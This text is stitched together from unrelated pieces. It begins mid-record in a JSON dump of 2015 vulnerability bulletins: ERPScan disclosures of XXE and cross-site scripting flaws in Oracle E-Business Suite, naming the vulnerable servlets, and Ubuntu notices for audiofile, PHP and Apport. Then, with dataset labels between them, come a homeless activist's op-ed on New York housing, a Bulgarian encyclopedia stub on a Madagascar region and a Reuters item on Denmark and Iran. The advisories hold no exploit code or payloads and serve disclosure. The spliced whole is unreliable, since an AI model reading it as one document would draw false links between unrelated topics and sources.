3 exhaustive annual award-winning surveys about SAP\r\nsecurity.\r\nERPScan experts have been interviewed by leading media resources and\r\nfeatured in specialized info-sec publications worldwide. These include\r\nReuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,\r\nHeise, and Chinabyte, to name a few.\r\nWe have highly qualified experts in staff with experience in many\r\ndifferent fields of security, from web applications and\r\nmobile/embedded to reverse engineering and ICS/SCADA systems,\r\naccumulating their experience to conduct the best SAP security\r\nresearch.\r\n\r\n\r\n11. ABOUT ERPScan\r\nERPScan is one of the most respected and credible Business Application\r\nSecurity providers. Founded in 2010, the company operates globally.\r\nNamed an Emerging vendor in Security by CRN and distinguished by more\r\nthan 25 other awards, ERPScan is the leading SAP SE partner in\r\ndiscovering and resolving security vulnerabilities. ERPScan\r\nconsultants work with SAP SE in Walldorf to improve the security of\r\ntheir latest solutions.\r\nERPScan\u2019s primary mission is to close the gap between technical and\r\nbusiness security. We provide solutions to secure ERP systems and\r\nbusiness-critical applications from both cyber attacks and internal\r\nfraud. Our clients are usually large enterprises, Fortune 2000\r\ncompanies, and managed service providers whose requirements are to\r\nactively monitor and manage the security of vast SAP landscapes on a\r\nglobal scale.\r\nOur flagship product is ERPScan Security Monitoring Suite for SAP.\r\nThis multi award-winning innovative software is the only solution on\r\nthe market certified by SAP SE covering all tiers of SAP security:\r\nvulnerability assessment, source code review, and Segregation of\r\nDuties.\r\nThe largest companies from diverse industries like oil and gas,\r\nbanking, retail, even nuclear power installations as well as\r\nconsulting companies have successfully deployed the software. ERPScan\r\nSecurity Monitoring Suite for SAP is specifically designed for\r\nenterprises to continuously monitor changes in multiple SAP systems.\r\nIt generates and analyzes trends in user friendly dashboards, manages\r\nrisks, tasks, and can export results to external systems. These\r\nfeatures enable central management of SAP system security with minimal\r\ntime and effort.\r\nWe follow the sun and function in two hubs located in the Netherlands\r\nand the US to operate local offices and partner network spanning 20+\r\ncountries around the globe. This enables monitoring cyber threats in\r\nreal time and providing agile customer support.\r\n\r\nAdress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301\r\nPhone: 650.798.5255\r\nTwitter: @erpscan\r\nScoop-it: Business Application Security\r\n\r\n", "edition": 1, "cvss3": {}, "published": "2015-11-02T00:00:00", "title": "[ERPSCAN-15-029] Oracle E-Business Suite - XXE injection Vulnerability", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2015-4849"], "modified": "2015-11-02T00:00:00", "id": "SECURITYVULNS:DOC:32654", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32654", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:11:02", "description": "\r\n\r\n1. ADVISORY INFORMATION\r\n\r\nTitle: Oracle E-Business Suite Cross-site Scripting\r\nAdvisory ID: [ERPSCAN-15-027]\r\nAdvisory URL:http://erpscan.com/advisories/erpscan-15-027-oracle-e-business-suite-cross-site-scripting-vulnerability/\r\nDate published: 20.10.2015\r\nVendors contacted: Oracle\r\n\r\n2. VULNERABILITY INFORMATION\r\n\r\nClass: Cross-site Scripting\r\nImpact: impersonation, information disclosure\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2015-4854\r\nCVSS Information\r\nCVSS Base Score: 4.3 / 10\r\nAV : Access Vector (Related exploit range) Network (N)\r\nAC : Access Complexity (Required attack complexity) Medium (M)\r\nAu : Authentication (Level of authentication needed to exploit) None (N)\r\nC : Impact to Confidentiality None (N)\r\nI : Impact to Integrity Partial (P)\r\nA : Impact to Availability None (N)\r\n\r\n3. VULNERABILITY DESCRIPTION\r\n\r\nAn anonymous attacker can create a special link that injects malicious JS code\r\n\r\n4. VULNERABLE PACKAGES\r\n\r\nOracle E-Business Suite 12.1.4\r\n\r\nOther versions are probably affected too, but they were not checked.\r\n\r\n5. SOLUTIONS AND WORKAROUNDS\r\n\r\nInstall Oracle CPU October 2015\r\n\r\n6. AUTHOR\r\nNikita Kelesis, Ivan Chalykin, Alexey Tyurin (ERPScan)\r\n\r\n7. TECHNICAL DESCRIPTION\r\n\r\nCfgOCIReturn servlet is vulnerable to Cross-site Scripting (XSS) due\r\nto lack of sanitizing the "domain" parameter.\r\n\r\n8. REPORT TIMELINE\r\n\r\nReported: 17.07.2015\r\nVendor response: 24.07.2015\r\nDate of Public Advisory: 20.10.2015\r\n\r\n9. REFERENCES\r\n\r\nhttp://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html\r\nhttp://erpscan.com/advisories/erpscan-15-027-oracle-e-business-suite-cross-site-scripting-vulnerability/\r\nhttp://erpscan.com/press-center/press-release/erpscan-took-a-closer-look-at-oracle-ebs-security-6-vulnerabilities-patched-in-recent-update/\r\n\r\n10. ABOUT ERPScan Research\r\nThe company\u2019s expertise is based on the research subdivision of\r\nERPScan, which is engaged in vulnerability research and analysis of\r\ncritical enterprise applications. It has achieved multiple\r\nacknowledgments from the largest software vendors like SAP, Oracle,\r\nMicrosoft, IBM, VMware, HP for discovering more than 400\r\nvulnerabilities in their solutions (200 of them just in SAP!).\r\nERPScan researchers are proud to have exposed new types of\r\nvulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be\r\nnominated for the best server-side vulnerability at BlackHat 2013.\r\nERPScan experts have been invited to speak, present, and train at 60+\r\nprime international security conferences in 25+ countries across the\r\ncontinents. These include BlackHat, RSA, HITB, and private SAP\r\ntrainings in several Fortune 2000 companies.\r\nERPScan researchers lead the project EAS-SEC, which is focused on\r\nenterprise application security research and awareness. They have\r\npublished 3 exhaustive annual award-winning surveys about SAP\r\nsecurity.\r\nERPScan experts have been interviewed by leading media resources and\r\nfeatured in specialized info-sec publications worldwide. These include\r\nReuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,\r\nHeise, and Chinabyte, to name a few.\r\nWe have highly qualified experts in staff with experience in many\r\ndifferent fields of security, from web applications and\r\nmobile/embedded to reverse engineering and ICS/SCADA systems,\r\naccumulating their experience to conduct the best SAP security\r\nresearch.\r\n\r\n\r\n11. ABOUT ERPScan\r\nERPScan is one of the most respected and credible Business Application\r\nSecurity providers. Founded in 2010, the company operates globally.\r\nNamed an Emerging vendor in Security by CRN and distinguished by more\r\nthan 25 other awards, ERPScan is the leading SAP SE partner in\r\ndiscovering and resolving security vulnerabilities. ERPScan\r\nconsultants work with SAP SE in Walldorf to improve the security of\r\ntheir latest solutions.\r\nERPScan\u2019s primary mission is to close the gap between technical and\r\nbusiness security. We provide solutions to secure ERP systems and\r\nbusiness-critical applications from both cyber attacks and internal\r\nfraud. Our clients are usually large enterprises, Fortune 2000\r\ncompanies, and managed service providers whose requirements are to\r\nactively monitor and manage the security of vast SAP landscapes on a\r\nglobal scale.\r\nOur flagship product is ERPScan Security Monitoring Suite for SAP.\r\nThis multi award-winning innovative software is the only solution on\r\nthe market certified by SAP SE covering all tiers of SAP security:\r\nvulnerability assessment, source code review, and Segregation of\r\nDuties.\r\nThe largest companies from diverse industries like oil and gas,\r\nbanking, retail, even nuclear power installations as well as\r\nconsulting companies have successfully deployed the software. ERPScan\r\nSecurity Monitoring Suite for SAP is specifically designed for\r\nenterprises to continuously monitor changes in multiple SAP systems.\r\nIt generates and analyzes trends in user friendly dashboards, manages\r\nrisks, tasks, and can export results to external systems. These\r\nfeatures enable central management of SAP system security with minimal\r\ntime and effort.\r\nWe follow the sun and function in two hubs located in the Netherlands\r\nand the US to operate local offices and partner network spanning 20+\r\ncountries around the globe. This enables monitoring cyber threats in\r\nreal time and providing agile customer support.\r\n\r\nAdress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301\r\nPhone: 650.798.5255\r\nTwitter: @erpscan\r\nScoop-it: Business Application Security\r\n\r\n", "edition": 1, "cvss3": {}, "published": "2015-11-02T00:00:00", "title": "[ERPSCAN-15-027] Oracle E-Business Suite - Cross Site Scripting Vulnerability", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2015-4854"], "modified": "2015-11-02T00:00:00", "id": "SECURITYVULNS:DOC:32658", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32658", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}, {"lastseen": "2018-08-31T11:11:02", "description": "\r\n\r\n==========================================================================\r\nUbuntu Security Notice USN-2787-1\r\nOctober 28, 2015\r\n\r\naudiofile vulnerability\r\n==========================================================================\r\n\r\nA security issue affects these releases of Ubuntu and its derivatives:\r\n\r\n- Ubuntu 15.10\r\n- Ubuntu 15.04\r\n- Ubuntu 14.04 LTS\r\n- Ubuntu 12.04 LTS\r\n\r\nSummary:\r\n\r\naudiofile could be made to crash or run programs as your login if it\r\nopened a specially crafted file.\r\n\r\nSoftware Description:\r\n- audiofile: Open-source version of the SGI audiofile library\r\n\r\nDetails:\r\n\r\nFabrizio Gennari discovered that audiofile incorrectly handled changing\r\nboth the sample format and the number of channels. If a user or automated\r\nsystem were tricked into processing a specially crafted file, audiofile\r\ncould be made to crash, leading to a denial of service, or possibly execute\r\narbitrary code.\r\n\r\nUpdate instructions:\r\n\r\nThe problem can be corrected by updating your system to the following\r\npackage versions:\r\n\r\nUbuntu 15.10:\r\n libaudiofile1 0.3.6-2ubuntu0.15.10.1\r\n\r\nUbuntu 15.04:\r\n libaudiofile1 0.3.6-2ubuntu0.15.04.1\r\n\r\nUbuntu 14.04 LTS:\r\n libaudiofile1 0.3.6-2ubuntu0.14.04.1\r\n\r\nUbuntu 12.04 LTS:\r\n libaudiofile1 0.3.3-2ubuntu0.1\r\n\r\nIn general, a standard system update will make all the necessary changes.\r\n\r\nReferences:\r\n http://www.ubuntu.com/usn/usn-2787-1\r\n CVE-2015-7747\r\n\r\nPackage Information:\r\n https://launchpad.net/ubuntu/+source/audiofile/0.3.6-2ubuntu0.15.10.1\r\n https://launchpad.net/ubuntu/+source/audiofile/0.3.6-2ubuntu0.15.04.1\r\n https://launchpad.net/ubuntu/+source/audiofile/0.3.6-2ubuntu0.14.04.1\r\n https://launchpad.net/ubuntu/+source/audiofile/0.3.3-2ubuntu0.1\r\n\r\n\r\n\r\n\r\n-- \r\nubuntu-security-announce mailing list\r\nubuntu-security-announce@lists.ubuntu.com\r\nModify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-security-announce\r\n\r\n", "edition": 1, "cvss3": {}, "published": "2015-11-02T00:00:00", "title": "[USN-2787-1] audiofile vulnerability", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2015-7747"], "modified": "2015-11-02T00:00:00", "id": "SECURITYVULNS:DOC:32652", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32652", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-08-31T11:10:03", "description": "Crash on audiofiles processing.", "edition": 1, "cvss3": {}, "published": "2015-11-02T00:00:00", "title": "audiofile memory corruption", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2015-7747"], "modified": "2015-11-02T00:00:00", "id": "SECURITYVULNS:VULN:14754", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14754", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-08-31T11:11:02", "description": "\r\n\r\n1. ADVISORY INFORMATION\r\n\r\nTitle: Oracle E-Business Suite XXE injection\r\nAdvisory ID: [ERPSCAN-15-030]\r\nAdvisory URL: http://erpscan.com/advisories/erpscan-15-030-oracle-e-business-suite-xxe-injection-vulnerability/\r\nDate published: 20.10.2015\r\nVendors contacted: Oracle\r\n\r\n2. VULNERABILITY INFORMATION\r\n\r\nClass: XML External Entity [CWE-611]\r\nImpact: information disclosure, DoS, SSRF, NTLM relay\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2015-4851\r\nCVSS Information\r\nCVSS Base Score: 6.8 / 10\r\nAV : Access Vector (Related exploit range) Network (N)\r\nAC : Access Complexity (Required attack complexity) Medium (M)\r\nAu : Authentication (Level of authentication needed to exploit) None (N)\r\nC : Impact to Confidentiality Partial (P)\r\nI : Impact to Integrity Partial (P)\r\nA : Impact to Availability Partial (P)\r\n\r\n3. VULNERABILITY DESCRIPTION\r\n\r\n1) An attacker can read an arbitrary file on a server by sending a\r\ncorrect XML request with a crafted DTD and reading the response from\r\nthe service.\r\n2) An attacker can perform a DoS attack (for example, XML Entity Expansion).\r\n3) An SMB Relay attack is a type of Man-in-the-Middle attack where the\r\nattacker asks the victim to authenticate into a machine controlled by\r\nthe attacker, then relays the credentials to the target. The attacker\r\nforwards the authentication information both ways and gets access.\r\n\r\n4. VULNERABLE PACKAGES\r\n\r\nOracle E-Business Suite 12.1.3\r\n\r\nOther versions are probably affected too, but they were not checked.\r\n\r\n5. SOLUTIONS AND WORKAROUNDS\r\n\r\nInstall Oracle CPU October 2015\r\n\r\n6. AUTHOR\r\nNikita Kelesis, Ivan Chalykin, Alexey Tyurin (ERPScan)\r\n\r\n7. TECHNICAL DESCRIPTION\r\n\r\nVulnerable servlet:\r\n/OA_HTML/oramipp_lpr\r\n\r\n\r\n8. REPORT TIMELINE\r\n\r\nReported: 17.07.2015\r\nVendor response: 24.07.2015\r\nDate of Public Advisory: 20.10.2015\r\n\r\n9. REFERENCES\r\n\r\nhttp://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html\r\nhttp://erpscan.com/advisories/erpscan-15-030-oracle-e-business-suite-xxe-injection-vulnerability/\r\n\r\n10. ABOUT ERPScan Research\r\nThe company\u2019s expertise is based on the research subdivision of\r\nERPScan, which is engaged in vulnerability research and analysis of\r\ncritical enterprise applications. It has achieved multiple\r\nacknowledgments from the largest software vendors like SAP, Oracle,\r\nMicrosoft, IBM, VMware, HP for discovering more than 400\r\nvulnerabilities in their solutions (200 of them just in SAP!).\r\nERPScan researchers are proud to have exposed new types of\r\nvulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be\r\nnominated for the best server-side vulnerability at BlackHat 2013.\r\nERPScan experts have been invited to speak, present, and train at 60+\r\nprime international security conferences in 25+ countries across the\r\ncontinents. These include BlackHat, RSA, HITB, and private SAP\r\ntrainings in several Fortune 2000 companies.\r\nERPScan researchers lead the project EAS-SEC, which is focused on\r\nenterprise application security research and awareness. They have\r\npublished 3 exhaustive annual award-winning surveys about SAP\r\nsecurity.\r\nERPScan experts have been interviewed by leading media resources and\r\nfeatured in specialized info-sec publications worldwide. These include\r\nReuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,\r\nHeise, and Chinabyte, to name a few.\r\nWe have highly qualified experts in staff with experience in many\r\ndifferent fields of security, from web applications and\r\nmobile/embedded to reverse engineering and ICS/SCADA systems,\r\naccumulating their experience to conduct the best SAP security\r\nresearch.\r\n\r\n\r\n11. ABOUT ERPScan\r\nERPScan is one of the most respected and credible Business Application\r\nSecurity providers. Founded in 2010, the company operates globally.\r\nNamed an Emerging vendor in Security by CRN and distinguished by more\r\nthan 25 other awards, ERPScan is the leading SAP SE partner in\r\ndiscovering and resolving security vulnerabilities. ERPScan\r\nconsultants work with SAP SE in Walldorf to improve the security of\r\ntheir latest solutions.\r\nERPScan\u2019s primary mission is to close the gap between technical and\r\nbusiness security. We provide solutions to secure ERP systems and\r\nbusiness-critical applications from both cyber attacks and internal\r\nfraud. Our clients are usually large enterprises, Fortune 2000\r\ncompanies, and managed service providers whose requirements are to\r\nactively monitor and manage the security of vast SAP landscapes on a\r\nglobal scale.\r\nOur flagship product is ERPScan Security Monitoring Suite for SAP.\r\nThis multi award-winning innovative software is the only solution on\r\nthe market certified by SAP SE covering all tiers of SAP security:\r\nvulnerability assessment, source code review, and Segregation of\r\nDuties.\r\nThe largest companies from diverse industries like oil and gas,\r\nbanking, retail, even nuclear power installations as well as\r\nconsulting companies have successfully deployed the software. ERPScan\r\nSecurity Monitoring Suite for SAP is specifically designed for\r\nenterprises to continuously monitor changes in multiple SAP systems.\r\nIt generates and analyzes trends in user friendly dashboards, manages\r\nrisks, tasks, and can export results to external systems. These\r\nfeatures enable central management of SAP system security with minimal\r\ntime and effort.\r\nWe follow the sun and function in two hubs located in the Netherlands\r\nand the US to operate local offices and partner network spanning 20+\r\ncountries around the globe. This enables monitoring cyber threats in\r\nreal time and providing agile customer support.\r\n\r\nAdress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301\r\nPhone: 650.798.5255\r\nTwitter: @erpscan\r\nScoop-it: Business Application Security\r\n\r\n", "edition": 1, "cvss3": {}, "published": "2015-11-02T00:00:00", "title": "[ERPSCAN-15-030] Oracle E-Business Suite - XXE injection Vulnerability", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2015-4851"], "modified": "2015-11-02T00:00:00", "id": "SECURITYVULNS:DOC:32655", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32655", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2021-06-08T18:55:18", "description": "Quarterly update closes 140 vulnerabilities in different applications.", "edition": 2, "cvss3": {}, "published": "2015-11-02T00:00:00", "title": "Oracle / Sun / PeopleSoft / MySQL multiple security vulnerabilities", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2015-4894", "CVE-2015-4000", "CVE-2015-4851", "CVE-2015-4895", "CVE-2015-4905", "CVE-2015-4866", "CVE-2015-4832", "CVE-2015-4822", "CVE-2015-4830", "CVE-2015-4804", "CVE-2015-4816", "CVE-2015-0235", "CVE-2015-1793", "CVE-2015-4793", "CVE-2015-4863", "CVE-2015-4913", "CVE-2015-4892", "CVE-2014-0191", "CVE-2015-4796", "CVE-2015-4864", "CVE-2015-4794", "CVE-2015-4887", "CVE-2015-2642", "CVE-2015-4860", "CVE-2015-4868", "CVE-1999-0377", "CVE-2015-4820", "CVE-2015-4903", "CVE-2015-0286", "CVE-2015-4906", "CVE-2015-4843", "CVE-2015-4842", "CVE-2015-4910", "CVE-2015-4872", "CVE-2015-4846", "CVE-2014-3576", "CVE-2015-4876", "CVE-2014-3571", "CVE-2015-4883", "CVE-2014-7940", "CVE-2015-4858", "CVE-2015-4802", "CVE-2015-4882", "CVE-2015-4801", "CVE-2015-4878", "CVE-2015-4799", "CVE-2015-4811", "CVE-2015-4834", "CVE-2015-4762", "CVE-2015-4815", "CVE-2015-4812", "CVE-2015-4839", "CVE-2015-4798", "CVE-2015-4891", "CVE-2015-4734", "CVE-2015-4899", "CVE-2015-4865", "CVE-2015-4915", "CVE-2015-4871", "CVE-2015-4800", "CVE-2015-4869", "CVE-2015-4828", "CVE-2015-4803", "CVE-2015-4875", "CVE-2015-4902", "CVE-2015-4917", "CVE-2015-4909", "CVE-2015-4791", "CVE-2015-4805", "CVE-2015-4849", "CVE-2015-4879", "CVE-2015-4888", "CVE-2015-4838", "CVE-2015-4850", "CVE-2015-4806", "CVE-2015-4825", "CVE-2015-3144", "CVE-2015-4797", "CVE-2015-4792", "CVE-2015-4837", "CVE-2015-4904", "CVE-2015-4810", "CVE-2015-4827", "CVE-2014-0050", "CVE-2015-4817", "CVE-2015-4908", "CVE-2015-4912", "CVE-2015-4833", "CVE-2015-4847", "CVE-2015-4855", "CVE-2015-4848", "CVE-2015-4730", "CVE-2015-4819", "CVE-2015-4896", "CVE-2015-2633", "CVE-2015-4807", "CVE-2015-4901", "CVE-2015-4835", "CVE-2015-4873", "CVE-2015-4766", "CVE-2015-4795", "CVE-2015-4907", "CVE-2015-4859", "CVE-2015-1829", "CVE-2015-4898", "CVE-2015-4874", "CVE-2015-4836", "CVE-2015-4824", "CVE-2015-4900", "CVE-2015-4831", "CVE-2015-4861", "CVE-2015-4911", "CVE-2015-4886", "CVE-2015-2608", "CVE-2015-4809", "CVE-2015-4877", "CVE-2015-4844", "CVE-2015-4870", "CVE-2015-4881", "CVE-2015-4840", "CVE-2015-4856", "CVE-2015-4845", "CVE-2015-4914", "CVE-2015-4893", "CVE-2015-4916", "CVE-2015-4826", "CVE-2014-1569", "CVE-2015-4862", "CVE-2010-1622", "CVE-2015-4857", "CVE-2015-4890", "CVE-2015-4867", "CVE-2015-4884", "CVE-2015-4813", "CVE-2015-4841", "CVE-2015-4818", "CVE-2015-4880", "CVE-2015-1791", "CVE-2015-4823", "CVE-2015-4821"], "modified": "2015-11-02T00:00:00", "id": "SECURITYVULNS:VULN:14755", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14755", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:11:02", "description": "\r\n\r\n==========================================================================\r\nUbuntu Security Notice USN-2786-1\r\nOctober 28, 2015\r\n\r\nphp5 vulnerabilities\r\n==========================================================================\r\n\r\nA security issue affects these releases of Ubuntu and its derivatives:\r\n\r\n- Ubuntu 15.10\r\n- Ubuntu 15.04\r\n- Ubuntu 14.04 LTS\r\n- Ubuntu 12.04 LTS\r\n\r\nSummary:\r\n\r\nPHP could be made to crash if it processed a specially crafted file.\r\n\r\nSoftware Description:\r\n- php5: HTML-embedded scripting language interpreter\r\n\r\nDetails:\r\n\r\nIt was discovered that the PHP phar extension incorrectly handled certain\r\nfiles. A remote attacker could use this issue to cause PHP to crash,\r\nresulting in a denial of service. (CVE-2015-7803, CVE-2015-7804)\r\n\r\nUpdate instructions:\r\n\r\nThe problem can be corrected by updating your system to the following\r\npackage versions:\r\n\r\nUbuntu 15.10:\r\n libapache2-mod-php5 5.6.11+dfsg-1ubuntu3.1\r\n php5-cgi 5.6.11+dfsg-1ubuntu3.1\r\n php5-cli 5.6.11+dfsg-1ubuntu3.1\r\n php5-fpm 5.6.11+dfsg-1ubuntu3.1\r\n\r\nUbuntu 15.04:\r\n libapache2-mod-php5 5.6.4+dfsg-4ubuntu6.4\r\n php5-cgi 5.6.4+dfsg-4ubuntu6.4\r\n php5-cli 5.6.4+dfsg-4ubuntu6.4\r\n php5-fpm 5.6.4+dfsg-4ubuntu6.4\r\n\r\nUbuntu 14.04 LTS:\r\n libapache2-mod-php5 5.5.9+dfsg-1ubuntu4.14\r\n php5-cgi 5.5.9+dfsg-1ubuntu4.14\r\n php5-cli 5.5.9+dfsg-1ubuntu4.14\r\n php5-fpm 5.5.9+dfsg-1ubuntu4.14\r\n\r\nUbuntu 12.04 LTS:\r\n libapache2-mod-php5 5.3.10-1ubuntu3.21\r\n php5-cgi 5.3.10-1ubuntu3.21\r\n php5-cli 5.3.10-1ubuntu3.21\r\n php5-fpm 5.3.10-1ubuntu3.21\r\n\r\nIn general, a standard system update will make all the necessary changes.\r\n\r\nReferences:\r\n http://www.ubuntu.com/usn/usn-2786-1\r\n CVE-2015-7803, CVE-2015-7804\r\n\r\nPackage Information:\r\n https://launchpad.net/ubuntu/+source/php5/5.6.11+dfsg-1ubuntu3.1\r\n https://launchpad.net/ubuntu/+source/php5/5.6.4+dfsg-4ubuntu6.4\r\n https://launchpad.net/ubuntu/+source/php5/5.5.9+dfsg-1ubuntu4.14\r\n https://launchpad.net/ubuntu/+source/php5/5.3.10-1ubuntu3.21\r\n\r\n\r\n\r\n\r\n-- \r\nubuntu-security-announce mailing list\r\nubuntu-security-announce@lists.ubuntu.com\r\nModify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-security-announce\r\n\r\n", "edition": 1, "cvss3": {}, "published": "2015-11-02T00:00:00", "title": "[USN-2786-1] PHP vulnerabilities", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2015-7803", "CVE-2015-7804"], "modified": "2015-11-02T00:00:00", "id": "SECURITYVULNS:DOC:32651", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32651", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2021-06-08T18:47:21", "description": "Symbolic links and hadlinks vulnerability in log files, privilege escalation.", "edition": 2, "cvss3": {}, "published": "2015-11-02T00:00:00", "title": "apport security vulnerabilities", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2015-1338"], "modified": "2015-11-02T00:00:00", "id": "SECURITYVULNS:VULN:14720", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14720", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:11:02", "description": "\r\n\r\n==========================================================================\r\nUbuntu Security Notice USN-2782-1\r\nOctober 27, 2015\r\n\r\napport vulnerability\r\n==========================================================================\r\n\r\nA security issue affects these releases of Ubuntu and its derivatives:\r\n\r\n- Ubuntu 15.10\r\n- Ubuntu 15.04\r\n- Ubuntu 14.04 LTS\r\n- Ubuntu 12.04 LTS\r\n\r\nSummary:\r\n\r\nApport could be made to run programs as an administrator.\r\n\r\nSoftware Description:\r\n- apport: automatically generate crash reports for debugging\r\n\r\nDetails:\r\n\r\nGabriel Campana discovered that Apport incorrectly handled Python module\r\nimports. A local attacker could use this issue to elevate privileges.\r\n\r\nUpdate instructions:\r\n\r\nThe problem can be corrected by updating your system to the following\r\npackage versions:\r\n\r\nUbuntu 15.10:\r\n apport 2.19.1-0ubuntu4\r\n\r\nUbuntu 15.04:\r\n apport 2.17.2-0ubuntu1.7\r\n\r\nUbuntu 14.04 LTS:\r\n apport 2.14.1-0ubuntu3.18\r\n\r\nUbuntu 12.04 LTS:\r\n apport 2.0.1-0ubuntu17.13\r\n\r\nIn general, a standard system update will make all the necessary changes.\r\n\r\nReferences:\r\n http://www.ubuntu.com/usn/usn-2782-1\r\n CVE-2015-1341\r\n\r\nPackage Information:\r\n https://launchpad.net/ubuntu/+source/apport/2.19.1-0ubuntu4\r\n https://launchpad.net/ubuntu/+source/apport/2.17.2-0ubuntu1.7\r\n https://launchpad.net/ubuntu/+source/apport/2.14.1-0ubuntu3.18\r\n https://launchpad.net/ubuntu/+source/apport/2.0.1-0ubuntu17.13\r\n\r\n\r\n\r\n\r\n-- \r\nubuntu-security-announce mailing list\r\nubuntu-security-announce@lists.ubuntu.com\r\nModify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-security-announce\r\n\r\n", "edition": 1, "cvss3": {}, "published": "2015-11-02T00:00:00", "title": "[USN-2782-1] Apport vulnerability", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2015-1341"], "modified": "2015-11-02T00:00:00", "id": "SECURITYVULNS:DOC:32660", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32660", "cvss": {"score": 0.0, "vector": "NONE"}}]}

redpajama_set_name: RedPajamaCommonCrawl


Record homelessness demands bold action. The House Our Future NY campaign, led by the Coalition for the Homeless and 58 partner organizations, is urging Mayor de Blasio to dedicate at least 10 percent of his 300,000-unit Housing New York 2.0 plan to homeless New Yorkers – 30,000 units, including 24,000 units to be created through new construction. This week, City Council Speaker Corey Johnson echoed the call already made by 38 other elected officials for more homeless set-asides. That leaves Mayor de Blasio as one of the only City leaders who has not yet embraced this commonsense plan. Next Wednesday, we will march to the Mayor's home, Gracie Mansion, to show the broad support for this critical campaign.
The mayor should be ashamed: Out of the 300,000 units in his affordable housing plan, only 5% is set aside for the homeless. I am fighting to change that. I want the mayor to set aside at least 10% of his affordable housing plan for homeless New Yorkers, with 24,000 of those units to be created through new construction to get people rehoused more quickly.
The video of the YMCA confrontation spread all over the internet. In response, the mayor dug his heels in. He refused to commit more housing for homeless people in his city and he criticized me for trying to talk to him at the gym. He said there needs to be some "civility" when people are in their private lives.
"Civility": I've heard that response from people in power before. Let me remind the mayor that I am 72 years old. I remember the civil rights movement; I was a part of it. It wasn't the mayor's idea of civility that won black Americans — including the mayor's wife and kids — the right to vote. People in power — even "progressives" — attack activists when their power and reputation is on the line.
I've spent the last three years in a homeless shelter, as 62,000 people do every night in this city. I've gotten to know some of the women who live with me. Many have become my closest friends. We celebrate birthdays, wedding and graduations together. We share many things in common: We are mothers, we're independent, some of us are retired, and we faced huge adjustments in our lives when we lost our housing.
I am from Flatbush, but my shelter is in Queens. I have to leave my room each morning by 9 a.m., and be back by curfew at 10 p.m. Our toilet paper is rationed, because the shelter has so many plumbing issues. There is one microwave for 200 women. I'm a vegetarian and the options for food at my shelter are sparse, at best.
These are some of the reasons why it makes me so upset to hear de Blasio say his affordable housing plan is for "every kind of New Yorker." Not every kind of New Yorker has a curfew, shares a room, can't cook dinner for herself, stores their few possessions in a locker, or is rationed toilet paper.


text:
Вакинанкаратра () е един от двадесет и двата региона на Мадагаскар, в провинция Антананариву. Населението на региона през 2011 година е 1 708 685 души. Площта му е 16 599 km². Административен център е град Анцирабе.

Административно деление
Разделен е на 6 окръзи и 86 общини:
 Амбатулямпи
 Антанифутси
 Анцирабе I
 Анцирабе II
 Бетафу
 Фарациху
 Мандуту

Източници

Външни препратки
  Официален сайт

redpajama_set_name: RedPajamaWikipedia


text:
October 30, 2018 / 5:56 PM / a year ago
Denmark will push for fresh EU-wide sanctions against Iran: Foreign Minister
COPENHAGEN (Reuters) - Denmark will push for fresh EU-wide sanctions against Iran following a suspected attempted attack by an Iranian intelligence service on Danish soil, Foreign Minister Anders Samuelsen said on Tuesday.
Samuelsen also told a news conference he believed the Iranian government was behind the attempted attack and said he would recall the Danish ambassador in Tehran for consultations.
